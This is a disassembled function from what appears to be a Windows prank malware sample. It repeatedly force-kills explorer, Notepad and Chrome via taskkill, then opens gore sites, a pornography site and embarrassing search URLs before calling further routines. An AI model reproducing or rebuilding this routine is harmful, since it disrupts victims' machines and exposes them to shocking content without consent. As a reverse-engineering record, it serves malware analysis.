Function at 0x14001ebb3
Capabilities:
Execute command

Disassembly:
jmp 0x14003fcf0
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400720c0]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x14007e10d]
call fcn.14001f35b
mov dword [rbp + 4], 0x12c
lea rdx, str.Memezv2.txt
lea rcx, [rbp + 0x28]
call fcn.14001e8cf
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__F__IM_explorer.exe
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.start_C:WindowsSetup_virus.txt
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__F__IM_notepad.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__F__IM_chrome.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_https:__scat.gg_
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__F__IM_notepad.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__F__IM_chrome.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_https:__seegore.com_
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__F__IM_notepad.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__F__IM_chrome.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_https:__bestgore.fun_
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__F__IM_notepad.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__F__IM_chrome.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_https:__www.google.com_search_qwhatsmyipsca_esv593993871sxsrfAM9HkKlsn4JA1_ofnNyRrRrR0FIwx_JsRw_3A1703688979938sourcehpeiEzuMZb6VNYun5NoPu_6m2AwiflsigAO6bgOgAAAAAZYxJI46sf_ojyRI57Inw3HgTUURpdJp_ved0ahUKEwj_6s_D8K_DAxWLE1kFHTu_CcsQ4dUDCAwuact5oqwhatsmyipgs_lpEgdnd3Mtd2l6Igt3aGF0cyBteSBpcDIKECMYgAQYigUYJzIFEAAYgAQyCxAAGIAEGLEDGIMBMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABDIFEAAYgAQyBRAAGIAEMgUQABiABEjFHFCZEVipGnABeACQAQCYAUmgAdsFqgECMTG4AQPIAQD4AQGoAgrCAgcQIxjqAhgnwgILEC4YgAQYsQMYgwHCAhEQLhiABBixAxiDARjHARjRA8ICDhAuGIAEGIoFGLEDGIMBwgIFEC4YgATCAgQQIxgnwgIOEAAYgAQYigUYsQMYgwHCAggQABiABBixA8ICBxAAGIAEGArCAgoQABiABBixAxgKwgIKEC4YgAQYsQMYCsICBxAuGIAEGAosclientgws_wiz
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__F__IM_notepad.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__F__IM_chrome.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_https:__www.google.com_search_qhowtocumsca_esv593993871sxsrfAM9HkKm1iZlXmeOOfcxkqANLq66_thIC0A_3A1703690064952sourcehpeiUD_MZZr0N6buiLMP25WWkAkiflsigAO6bgOgAAAAAZYxNYDZRtE59YFMuzABPnVNJWgcTT2Zxved0ahUKEwia3IGJ9K_DAxUmN2IAHduKBZIQ4dUDCAwuact5oqhowtocumgs_lpEgdnd3Mtd2l6Igpob3cgdG8gY3VtMgUQABiABDIFEAAYgAQyBRAAGIAESNEMUJUEWMQLcAF4AJABAJgBngKgAdEIqgEFNy4xLjK4AQPIAQD4AQGoAgrCAgcQIxjqAhgnwgIKECMYgAQYigUYJ8ICBBAjGCfCAhEQLhiABBixAxiDARjHARjRA8ICCxAAGIAEGLEDGIMBwgIOEC4YgAQYsQMYgwEY1ALCAgoQABiABBiKBRhDwgILEC4YgAQYxwEY0QPCAgUQLhiABMICCBAAGIAEGLEDsclientgws_wiz
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__F__IM_notepad.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__F__IM_chrome.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_https:__www.google.com_search_qhowdoicodeagoodvirus_3Fsca_esv593993871sxsrfAM9HkKnG3IoivjK_lzSnsYjgdm_Q4Fb9BA_3A1703690102182sourcehpeidj_MZb7eCPLliLMP0fmi2AwiflsigAO6bgOgAAAAAZYxNhqj7U87NpbVYy2L_6vZHnf_X24Laved0ahUKEwi_8eGa9K_DAxXyMmIAHdG8CMsQ4dUDCAwuact5oqhowdoicodeagoodvirus_3Fgs_lpEgdnd3Mtd2l6Ihtob3cgZG8gaSBjb2RlIGEgZ29vZCB2aXJ1cz8yBRAhGKABMgUQIRigATIFECEYoAEyBRAhGKABMgUQIRigATIFECEYqwIyBRAhGKsCMgUQIRifBTIFECEYnwUyBRAhGJ8FSM_FAVAAWMU1cAt4AJABAJgBpwGgAbQVqgEEMzMuMrgBA8gBAPgBAagCCsICChAjGIAEGIoFGCfCAgQQIxgnwgIKEAAYgAQYigUYQ8ICERAuGIAEGLEDGIMBGMcBGNEDwgILEAAYgAQYsQMYgwHCAhAQABiABBiKBRhDGLEDGIMBwgIFEAAYgATCAgsQLhiABBjHARjRA8ICBRAuGIAEwgILEC4YgAQYsQMYgwHCAgsQABiABBiKBRixA8ICBxAjGOoCGCfCAg4QABiABBiKBRixAxiDAcICCBAAGIAEGLEDwgILEAAYgAQYigUYkQLCAgsQLhiABBjHARivAcICBhAAGBYYHsICCBAAGBYYHhgPwgILEAAYgAQYigUYhgMsclientgws_wiz
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__F__IM_notepad.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__F__IM_chrome.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_https:__www.google.com_search_qhowdoilastlongerinbed_3Fsca_esv593993871sxsrfAM9HkKmrTAu_IY2ITU4jb_FYtTQ0PClKfA_3A1703690208953sourcehpei4D_MZYTaNrit5NoPttW5mAYiflsigAO6bgOgAAAAAZYxN8Jts9jNjqpbhbvlFfgRE9Wrr7hYVved0ahUKEwiEytXN9K_DAxW4FlkFHbZqDmMQ4dUDCAwuact5oqhowdoilastlongerinbed_3Fgs_lpEgdnd3Mtd2l6Ihxob3cgZG8gaSBsYXN0IGxvbmdlciBpbiBiZWQ_SKczUJYDWJ8wcAd4AJABA5gBqQSgAcAqqgENMTQuMTQuMy4zLjAuMbgBA8gBAPgBAagCCsICBxAjGOoCGCfCAgQQIxgnwgIKECMYgAQYigUYJ8ICChAAGIAEGIoFGEPCAhEQABiABBiKBRiRAhixAxiDAcICCxAAGIAEGIoFGJECwgIREC4YgAQYsQMYgwEYxwEY0QPCAgsQLhiABBiKBRiRAsICCxAuGJECGIAEGIoFwgIQEAAYgAQYigUYQxixAxiDAcICBRAAGIAEwgINEAAYgAQYigUYQxixA8ICCxAuGIAEGLEDGIMBwgIIEAAYgAQYsQPCAgUQLhiABMICBxAAGIAEGArCAgcQLhiABBgKwgIGEAAYFhgewgIHEAAYgAQYDcICBxAuGIAEGA3CAgYQABgeGA3CAg4QABiABBiKBRixAxiDAQsclientgws_wiz
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__F__IM_notepad.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__F__IM_chrome.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_https:__www.google.com_search_qhowtomakeafortnitehackwithflyandaimbotandstuff_3Fsca_esv593993871sxsrfAM9HkKlCP70nPzoWEgUNeAUQPuiwxkcuYA_3A1703690238737sourcehpei_j_MZZfHKo2u5NoPrIOgmAUiflsigAO6bgOgAAAAAZYxODimVy8pTnFVhzAU2YCW9WZneIbDcved0ahUKEwiXvvDb9K_DAxUNF1kFHawBCFMQ4dUDCAwuact5oqhowtomakeafortnitehackwithflyandaimbotandstuff_3Fgs_lpEgdnd3Mtd2l6Ijpob3cgdG8gbWFrZSBhIGZvcnRuaXRlIGhhY2sgd2l0aCBmbHkgYW5kIGFpbWJvdCBhbmQgc3R1ZmY_MgUQIRigATIFECEYoAEyBRAhGKABSKsDUHBYcHABeACQAQCYAYIBoAGCAaoBAzAuMbgBA8gBAPgBAvgBAagCCsICBxAjGOoCGCcsclientgws_wiz
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__F__IM_notepad.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__F__IM_chrome.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_https:__pornhub.com_
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__F__IM_notepad.exe
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.taskkill__F__IM_chrome.exe
call qword [sym.imp.ucrtbased.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001e4c4
mov r8d, dword [rbp + 4]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x28]
call fcn.14001f153
call fcn.14001ed43
call fcn.14001eb22
call fcn.14001f2c0
call fcn.14001eabe
call fcn.14001f059
mov edx, 7
mov ecx, 7
call fcn.14001e221
mov edx, dword [0x140072004]
mov ecx, dword [section..data]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x14007200c]
mov ecx, dword [0x140072008]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x140072014]
mov ecx, dword [0x140072010]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x14007201c]
mov ecx, dword [0x140072018]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x140072024]
mov ecx, dword [0x140072020]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x14007202c]
mov ecx, dword [0x140072028]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x140072034]
mov ecx, dword [0x140072030]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x14007203c]
mov ecx, dword [0x140072038]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x140072044]
mov ecx, dword [0x140072040]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x14007204c]
mov ecx, dword [0x140072048]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x140072054]
mov ecx, dword [0x140072050]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [0x14007205c]
mov ecx, dword [0x140072058]
call fcn.14001e55a
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001e230
nop
lea rcx, [rbp + 0x28]
call fcn.14001e3e3
lea rcx, [rbp - 0x20]
lea rdx, [0x140064600]
call fcn.14001f013
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.14001e974
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret